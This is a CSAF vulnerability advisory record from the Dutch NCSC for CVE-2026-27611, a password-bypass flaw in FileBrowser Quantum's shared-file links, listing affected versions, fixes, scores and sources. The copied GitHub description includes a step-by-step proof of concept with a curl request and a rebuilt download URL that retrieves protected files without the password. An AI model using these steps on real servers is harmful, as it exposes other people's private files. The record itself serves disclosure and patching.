{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-27611", "tracking": { "current_release_date": "2026-03-27T20:41:06.298684Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-27611", "initial_release_date": "2026-02-25T03:25:01.170635Z", "revision_history": [ { "date": "2026-02-25T03:25:01.170635Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-02-25T03:25:07.832277Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-25T03:38:50.130498Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (2).| CWES updated (1)." }, { "date": "2026-02-25T03:38:59.313966Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-25T07:35:05.326660Z", "number": "5", "summary": "NCSC Score updated." }, { "date": "2026-02-25T15:13:48.584580Z", "number": "6", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-25T16:39:54.951593Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-02-25T16:40:02.940944Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-02-25T18:12:33.699217Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)." }, { "date": "2026-02-26T00:12:45.101215Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)." }, { "date": "2026-02-26T01:13:45.388371Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (14).| References created (4).| CWES updated (1)." }, { "date": "2026-02-27T17:39:15.341836Z", "number": "12", "summary": "Unknown change." }, { "date": "2026-02-27T17:39:20.984087Z", "number": "13", "summary": "NCSC Score updated." }, { "date": "2026-02-27T19:25:28.786383Z", "number": "14", "summary": "CVSS created.| Products created (3).| Product Identifiers created (3).| Exploits created (1)." }, { "date": "2026-02-27T19:25:31.074171Z", "number": "15", "summary": "NCSC Score updated." }, { "date": "2026-02-27T22:39:48.426300Z", "number": "16", "summary": "CVSS created.| References created (1)." }, { "date": "2026-02-28T06:12:55.746276Z", "number": "17", "summary": "CVSS created.| References created (1)." }, { "date": "2026-03-02T19:12:51.891929Z", "number": "18", "summary": "Products created (1).| Products removed (3)." }, { "date": "2026-03-02T19:12:54.498364Z", "number": "19", "summary": "NCSC Score updated." }, { "date": "2026-03-03T14:27:26.373970Z", "number": "20", "summary": "Products connected (3).| Products removed (1)." }, { "date": "2026-03-03T14:27:29.342739Z", "number": "21", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:40:32.155360Z", "number": "22", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:40:34.652028Z", "number": "23", "summary": "NCSC Score updated." }, { "date": "2026-03-27T19:49:13.120621Z", "number": "24", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (7).| CWES updated (1)." }, { "date": "2026-03-27T19:49:19.423404Z", "number": "25", "summary": "NCSC Score updated." } ], "status": "interim", "version": "25" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<1.1.3-stable", "product": { "name": "vers:unknown/<1.1.3-stable", "product_id": "CSAFPID-5700850" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.0.0-20260221163904-dbcfba993b85", "product": { "name": "vers:unknown/>=0|<0.0.0-20260221163904-dbcfba993b85", "product_id": "CSAFPID-5707715" } }, { "category": "product_version_range", "name": "vers:unknown/>=1.2.0-beta|<1.2.6-beta", "product": { "name": "vers:unknown/>=1.2.0-beta|<1.2.6-beta", "product_id": "CSAFPID-5700851" } }, { "category": "product_version_range", "name": "vers:unknown/v0.3.4", "product": { "name": "vers:unknown/v0.3.4", "product_id": "CSAFPID-5723361" } }, { "category": "product_version_range", "name": "vers:unknown/v0.3.6-beta", "product": { "name": "vers:unknown/v0.3.6-beta", "product_id": "CSAFPID-5723362" } }, { "category": "product_version_range", "name": "vers:unknown/v0.3.7-beta", "product": { "name": "vers:unknown/v0.3.7-beta", "product_id": "CSAFPID-5723363" } }, { "category": "product_version_range", "name": "vers:unknown/v0.4.0-beta", "product": { "name": "vers:unknown/v0.4.0-beta", "product_id": "CSAFPID-5723364" } }, { "category": "product_version_range", "name": "vers:unknown/v0.4.1-beta", "product": { "name": "vers:unknown/v0.4.1-beta", "product_id": "CSAFPID-5723365" } }, { "category": "product_version_range", "name": "vers:unknown/v0.4.2-beta", "product": { "name": "vers:unknown/v0.4.2-beta", "product_id": "CSAFPID-5723366" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.0-beta", "product": { "name": "vers:unknown/v0.5.0-beta", "product_id": "CSAFPID-5723367" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.1-beta", "product": { "name": "vers:unknown/v0.5.1-beta", "product_id": "CSAFPID-5723368" } }, { "category": "product_version_range", "name": "vers:unknown/v0.5.2-beta", "product": { "name": "vers:unknown/v0.5.2-beta", "product_id": "CSAFPID-5723369" } }, { "category": "product_version_range", "name": "vers:unknown/v0.7.6-beta", "product": { "name": "vers:unknown/v0.7.6-beta", "product_id": "CSAFPID-5723370" } }, { "category": "product_version_range", "name": "vers:unknown/v1.0.1-stable", "product": { "name": "vers:unknown/v1.0.1-stable", "product_id": "CSAFPID-5723371" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.1-stable", "product": { "name": "vers:unknown/v1.1.1-stable", "product_id": "CSAFPID-5723372" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.2-stable", "product": { "name": "vers:unknown/v1.1.2-stable", "product_id": "CSAFPID-5723373" } }, { "category": "product_version_range", "name": "vers:unknown/v1.1.6-beta", "product": { "name": "vers:unknown/v1.1.6-beta", "product_id": "CSAFPID-5723374" } } ], "category": "product_name", "name": "filebrowser" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/1.1.3-beta", "product": { "name": "vers:unknown/1.1.3-beta", "product_id": "CSAFPID-5736275", "product_identification_helper": { "cpe": "cpe:2.3:a:gtsteffaniak:filebrowser_quantum:1.1.3:beta:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/<1.1.3", "product": { "name": "vers:unknown/<1.1.3", "product_id": "CSAFPID-5736273", "product_identification_helper": { "cpe": "cpe:2.3:a:gtsteffaniak:filebrowser_quantum:*:*:*:*:*:*:*:*" } } }, { "category": "product_version_range", "name": "vers:unknown/>=1.2.0|<1.2.6", "product": { "name": "vers:unknown/>=1.2.0|<1.2.6", "product_id": "CSAFPID-5736274", "product_identification_helper": { "cpe": "cpe:2.3:a:gtsteffaniak:filebrowser_quantum:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "filebrowser_quantum" } ], "category": "vendor", "name": "gtsteffaniak" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.0-20260221163904-dbcfba993b85", "product": { "name": "vers:unknown/0.0.0-20260221163904-dbcfba993b85", "product_id": "CSAFPID-5944637" } }, { "category": "product_version_range", "name": "vers:unknown/<0.0.0-20260221163904-dbcfba993b85", "product": { "name": "vers:unknown/<0.0.0-20260221163904-dbcfba993b85", "product_id": "CSAFPID-5944638" } } ], "category": "product_name", "name": "go/github.com/gtsteffaniak/filebrowser/backend" } ], "category": "vendor", "name": "filebrowser" } ] }, "vulnerabilities": [ { "cve": "CVE-2026-27611", "cwe": { "id": "CWE-288", "name": "Authentication Bypass Using an Alternate Path or Channel" }, "notes": [ { "category": "description", "text": "FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to versions 1.1.3-stable and 1.2.6-beta, when users share password-protected files, the recipient can completely bypass the password and still download the file. This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password. Versions 1.1.3-stable and 1.2.6-beta fix the issue.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-27611" }, { "category": "description", "text": "FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to versions 1.1.3-stable and 1.2.6-beta, when users share password-protected files, the recipient can completely bypass the password and still download the file. This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password. Versions 1.1.3-stable and 1.2.6-beta fix the issue.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27611" }, { "category": "description", "text": "### Summary\nWhen users share password-protected files, the recipient can completely bypass the password and still download the file.\n\n### Details\nThis happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.\n\n### PoC\n1. As an authenticated user, create a share for a file, with a password specified in \"Optional password\" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)\n2. Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)\n\nNow, the link that was copied should look like:\nhttps://yourdomain/public/share/yoursharehash\nexample:\nhttps://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA\n\nNow, make a API request with any api client to GET \nhttps://yourdomain/public/api/shareinfo?hash=(the share hash from the link)\nexample:\nhttps://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA\n\nIf curl is preferred, a (command line based API client), here's the command:\n`curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: */*'`\nexample:\n`curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: */*'`\n\nExample response:\n```\n{\n \"shareTheme\": \"default\",\n \"title\": \"Shared files - IMG_20240814_213703451.jpg\",\n \"description\": \"A share has been sent to you to view or download.\",\n \"disableSidebar\": false,\n \"source\": \"/folder\",\n \"path\": \"/IMG_20240814_213703451.jpg/\",\n \"downloadURL\": \"https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\",\n \"shareURL\": \"https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA\",\n \"enforceDarkLightMode\": \"default\",\n \"viewMode\": \"normal\",\n \"shareType\": \"normal\",\n \"sidebarLinks\": [\n {\n \"name\": \"Share QR Code and Info\",\n \"category\": \"shareInfo\",\n \"target\": \"#\",\n \"icon\": \"qr_code\"\n },\n {\n \"name\": \"Download\",\n \"category\": \"download\",\n \"target\": \"#\",\n \"icon\": \"download\"\n }\n ],\n \"hasPassword\": true\n}\n```\n\nLook at the downloadURL. It encodes the \"&\" symbol as \"\\u0026\" so just replace \"\\u0026\" with \"&\", example: \nhttps://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\nshould be changed to:\nhttps://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\n\nThen just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.\n\n### Impact\nThis affects anyone who shares password-protected files.", "title": "github - https://github.com/advisories/GHSA-8vrh-3pm2-v4v6" }, { "category": "description", "text": "### Summary\nWhen users share password-protected files, the recipient can completely bypass the password and still download the file.\n\n### Details\nThis happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password.\n\n### PoC\n1. As an authenticated user, create a share for a file, with a password specified in \"Optional password\" (make sure to allow anonymous access as the PoC doesn't explain how to do this on a share that requires login, but it is also possible to do on a share that requires login, with some small tweaks to the API request)\n2. Copy the first link (the clipboard WITHOUT an arrow) because the second one just completely skips the password without any effort required, which was mentioned in another vulnerability (https://github.com/filebrowser/filebrowser/security/advisories/GHSA-3v48-283x-f2w4)\n\nNow, the link that was copied should look like:\nhttps://yourdomain/public/share/yoursharehash\nexample:\nhttps://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA\n\nNow, make a API request with any api client to GET \nhttps://yourdomain/public/api/shareinfo?hash=(the share hash from the link)\nexample:\nhttps://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA\n\nIf curl is preferred, a (command line based API client), here's the command:\n`curl 'https://yourdomain/public/api/shareinfo?hash=yoursharehash' -H 'Accept: */*'`\nexample:\n`curl 'https://example.com/public/api/shareinfo?hash=ngCZzArOyFHUQBmfbvP-pA' -H 'Accept: */*'`\n\nExample response:\n```\n{\n \"shareTheme\": \"default\",\n \"title\": \"Shared files - IMG_20240814_213703451.jpg\",\n \"description\": \"A share has been sent to you to view or download.\",\n \"disableSidebar\": false,\n \"source\": \"/folder\",\n \"path\": \"/IMG_20240814_213703451.jpg/\",\n \"downloadURL\": \"https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\",\n \"shareURL\": \"https://example.com/public/share/ngCZzArOyFHUQBmfbvP-pA\",\n \"enforceDarkLightMode\": \"default\",\n \"viewMode\": \"normal\",\n \"shareType\": \"normal\",\n \"sidebarLinks\": [\n {\n \"name\": \"Share QR Code and Info\",\n \"category\": \"shareInfo\",\n \"target\": \"#\",\n \"icon\": \"qr_code\"\n },\n {\n \"name\": \"Download\",\n \"category\": \"download\",\n \"target\": \"#\",\n \"icon\": \"download\"\n }\n ],\n \"hasPassword\": true\n}\n```\n\nLook at the downloadURL. It encodes the \"&\" symbol as \"\\u0026\" so just replace \"\\u0026\" with \"&\", example: \nhttps://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA\\u0026token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\nshould be changed to:\nhttps://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D\n\nThen just copy paste the new link (example: https://example.com/public/api/raw?hash=ngCZzArOyFHUQBmfbvP-pA&token=uEr4nCNarX6FqlzwmBo8X1rRRASbOrMY.sWSARcKhrVKrEJlqiF-l6RjXK9fMEPYZsMc9DCJ96BQ%3D) into any browser, and the file will download. All without giving a password.\n\n### Impact\nThis affects anyone who shares password-protected files.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-8vrh-3pm2-v4v6.json?alt=media" }, { "category": "description", "text": "FileBrowser Quantum: Password Protection Not Enforced on Shared File Links in github.com/gtsteffaniak/filebrowser/backend", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4546.json?alt=media" }, { "category": "description", "text": "FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to versions 1.1.3-stable and 1.2.6-beta, when users share password-protected files, the recipient can completely bypass the password and still download the file. This happens because the API returns a direct download link in the details of the share, which is accessible to anyone with JUST THE SHARE LINK, even without the password. Versions 1.1.3-stable and 1.2.6-beta fix the issue.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27611.json?alt=media" }, { "category": "description", "text": "When users share password-protected files, the recipient can completely bypass the password and still download the file.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fgtsteffaniak%2Ffilebrowser%2Fbackend%2FCVE-2026-27611.yml/raw" }, { "category": "other", "text": "0.00034", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "title": "CVSSV4" }, { "category": "other", "text": "7.1", "title": "CVSSV4 base score" }, { "category": "other", "text": "3.7", "title": "NCSC Score" }, { "category": "other", "text": "Is related to CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product", "title": "NCSC Score top decreasing factors" } ], "product_status": { "fixed": [ "CSAFPID-5944637" ], "known_affected": [ "CSAFPID-5700850", "CSAFPID-5700851", "CSAFPID-5707715", "CSAFPID-5723361", "CSAFPID-5723362", "CSAFPID-5723363", "CSAFPID-5723364", "CSAFPID-5723365", "CSAFPID-5723366", "CSAFPID-5723367", "CSAFPID-5723368", "CSAFPID-5723369", "CSAFPID-5723370", "CSAFPID-5723371", "CSAFPID-5736273", "CSAFPID-5736274", "CSAFPID-5736275", "CSAFPID-5723372", "CSAFPID-5723373", "CSAFPID-5723374", "CSAFPID-5944638" ] }, "references": [ { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27611" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27611" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27611" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27611.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27611" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-8vrh-3pm2-v4v6" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-8vrh-3pm2-v4v6" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-8vrh-3pm2-v4v6.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4546.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27611.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fgtsteffaniak%2Ffilebrowser%2Fbackend%2FCVE-2026-27611.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/gtsteffaniak/filebrowser/commit/c51b0ee9738fa4599b409f47c5bf820ef31b4fe1" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-8vrh-3pm2-v4v6" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27611" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://github.com/gtsteffaniak/filebrowser/commit/a8c9b9419ec530568991a2f72cec4ed263f99e3c" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-8vrh-3pm2-v4v6" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27611.json" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://pkg.go.dev/vuln/GO-2026-4546" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/gtsteffaniak/filebrowser" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM" }, "products": [ "CSAFPID-5700850", "CSAFPID-5700851", "CSAFPID-5707715", "CSAFPID-5723361", "CSAFPID-5723362", "CSAFPID-5723363", "CSAFPID-5723364", "CSAFPID-5723365", "CSAFPID-5723366", "CSAFPID-5723367", "CSAFPID-5723368", "CSAFPID-5723369", "CSAFPID-5723370", "CSAFPID-5723371", "CSAFPID-5723372", "CSAFPID-5723373", "CSAFPID-5723374", "CSAFPID-5736273", "CSAFPID-5736274", "CSAFPID-5736275", "CSAFPID-5944638" ] } ], "title": "CVE-2026-27611" } ] }